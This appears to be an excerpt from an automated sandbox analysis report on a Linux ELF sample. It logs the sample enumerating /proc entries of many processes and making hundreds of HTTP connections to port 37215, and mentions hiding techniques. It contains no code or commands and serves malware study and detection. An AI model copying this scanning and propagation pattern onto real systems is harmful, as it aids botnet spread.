Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/765/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3246/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3246/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/767/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/767/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1906/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1906/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1906/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/802/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/802/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1748/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1748/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/1748/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5288/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/5288/exe	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3420/fd	Jump to behavior
Source: /tmp/mpsl.elf (PID: 5451)	File opened: /proc/3420/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45628 -> 37215
